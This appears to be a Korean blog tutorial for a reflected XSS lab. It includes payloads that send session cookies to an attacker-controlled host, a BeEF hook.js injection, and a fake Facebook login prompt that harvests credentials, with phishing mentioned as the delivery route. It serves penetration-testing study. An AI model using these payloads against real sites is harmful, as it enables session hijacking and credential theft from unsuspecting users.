Web Hacking/XSS

Reflected Cross-Site Scripting Attack(Reflected XSS Attack)

seungwon9201 2024. 6. 28. 15:52

Cross-Site Scripting Attack

공격자가 악성 스크립트 코드를 웹에 삽입하여 사용자의 웹 브라우저에서 해당 코드가 실행되도록 만드는 기법

 

이러한 공격방식은 다른 웹 공격들과 차이점이 있다.

다른 웹 공격들은 취약점을 가지고 있는 서버를 공격하는 반면에 Cross-Site Scripting attack은 서버의 취약점을 이용하여 클라이언트 쪽을 공격한다.

 

Cross-Site Scripting attack은 크게 reflected와 stored로 나눠지는데 여기서는 reflected에 대해서 해볼 것이다.

 

Reflected XSS Attack 실습

-실습 목표-
실습 페이지의 폼에 자바스크립트를 삽입하여 사용자의 쿠키 정보를 가져와 원격의 웹 서버로 전달시키자.

 

우선 실습 페이지로 이동하자.

이름을 물어보는 창이 뜬다. 이름을 한번 입력해 보자.

이름을 입력해 보니 이렇게 입력한 이름과 함께 인사를 해준다.

 

이때 hello 뒤에 출력된 값이 내가 입력한 값 그대로 출력되었다.

여기서 Reflected XSS 취약점이 존재할 가능성이 높다!

 

여기서 Reflected XSS 취약점이 존재하는지 확인해 보기 위해서 스크립트 태그를 입력해 보자.

<script>alert("하이")</script>

위와 같이 입력했더니 입력한 자바스크립트가 웹 브라우저에서 실행되었다. 

이처럼 입력한 스크립트가 응답되어 실행이 된다면 Reflected XSS 취약점이 존재한다고 알 수 있다.

 

-웹 모의해킹 팁-
폼이나 파라미터에 <script>alert(아무말)</script>를 입력하여서 XSS 취약점을 확인할 수 있다!

 

 

이제 쿠키정보를 얻어보자.

<script>alert(document.cookie)</script>

이처럼 쿠키의 값이 출력되었다.

XSS attack은 주로 세션 쿠키를 알아내는데 초점을 두는 기법이란 것을 알아두자.

 

이제 위에서 얻은 세션 쿠키를 공격자의 호스트로 전달해 보자.

 

칼리리눅스를 공격자의 호스트로 가정하자.

# service apache2 start

위와 같이 명령어를 입력하여 웹 서버를 시작하고 ip addr로 ip주소를 확인하자.

 

eth1의 ip주소를 실습에서 사용할 ip주소로 사용할 것이다. 

그럼 apache2 서버가 정상적으로 작동되는지 확인하기 위해서 eh1의 ip주소에 직접 접속해 보자.

이처럼 정상적으로 접속이 되는 것을 확인할 수 있다.

 

이젠 log파일을 모니터링하기 위해서 아래와 같은 명령어를 입력해 주자.

tail -f /var/log/apache2/access.log

tail 명령어는 파일의 내용이 갱신되면 새로 추가된 내용을 출력해 주는 명령어이다.(모니터링에 유용)

 

이제 다시 실습 페이지로 돌아가서 스크립트에 아래와 같이 입력해 주자.

<script>document.location='http://192.168.56.101/cookie?'+document.cookie</script>

이 스크립트는 document.location을 이용하여 지정한 위치로 redirect 시키는 스크립트이다.

스크립트를 입력하고 submit을 입력했더니 이러한 에러가 발생하였다..

에러가 발생한 이유?
요청을 전송하면 웹에서 공격자 호스트의 주소로 redirect 된 후 error가 발생할 텐데, 이러한 error는 redirect된 cookie라는 URL이 공격자의 호스트에 존재하지 않기 때문에 발생한 것이다.

 

실제 상황에서는 공격자가 보다 정교한 자바스크립트를 이용하여 사용자가 눈치채지 못하도록 웹 페이지를 만들 것이기 때문에 이 실습에서 에러 메시지는 무시해도 상관없다.

 

여기서 눈여겨봐야 할 것은 접근 log이다.

 

우리는 아까 log를 모니터링하기 위해서 tail 명령어를 썼었다.

새로운 내용이 추가되었다.

새롭게 기록된 log내용을 확인해 보니 PHPSESSID 세션 쿠키를 탈취한 것을 확인할 수 있다.

 

-한 가지 의문점-
정상적인 사용자라면 이런 악성 스크립트를 직접 입력하지는 않을 텐데, 여기선 자바스크립트를 페이지에 직접 사용자가 입력하였다. 이러한 이유 때문에 공격자는 피싱을 이용해서 사용자도 모르게 요청을 전달하도록 만들어야 한다. 자세한 피싱과정은 여기서 생략하겠다. 중요한 것은 공격자가 여러 매체를 이용해서 URL의 링크를 사용자가 클릭하도록 만든다는 것이다!

 

결국 이런 XSS 취약점이 존재한다면 세션 쿠키 탈취 이외에 다른 공격도 수행이 가능하다.

 

이젠 BeEF 프레임워크로 계정 정보를 획득해 보자.

BeEF에 접속하고 로그인을 하자.

 

로그인을 한 후에 다시 실습 페이지로 돌아가서 아래와 같이 스크립트를 입력하고 submit을 누르자.

<script src="http://127.0.0.1:3000/hook.js"></script>

실습의 편의를 위해서 이처럼 직접 스크립트를 입력한 것이지,

실제 공격에서는 피싱을 이용하여 사용자가 직접 링크를 누르도록 한다.

 

submit을 누른 후에 이처럼 Online Browsers아래에 새로운 항목이 추가되었다.

이 호스트를 선택해서 눌러보면

이처럼 호스트의 각종 정보가 모두 출력이 된다.  

이번 실습에서는 Commands탭에 있는 Pretty Theft기능을 실습해 보자.

 

Pretty Theft기능은 유명한 SNS사이트를 모방해서, 사용자가 실제로 그 SNS사이트로 착각하여 사용자의 아이디와 패스워드를 입력하도록 유도하는 기능이다.

 

이처럼 Dialog Type을 Facebook으로 설정하고 실행시켜 보자.

그러면 이렇게 Facebook 팝업창이 하나 생긴다.

 

이제 아이디와 패스워드를 입력해 보자.

이처럼 아이디에 seungwon, 비밀번호에 12345를 입력한 값이 그대로 노출되는 것을 볼 수 있다.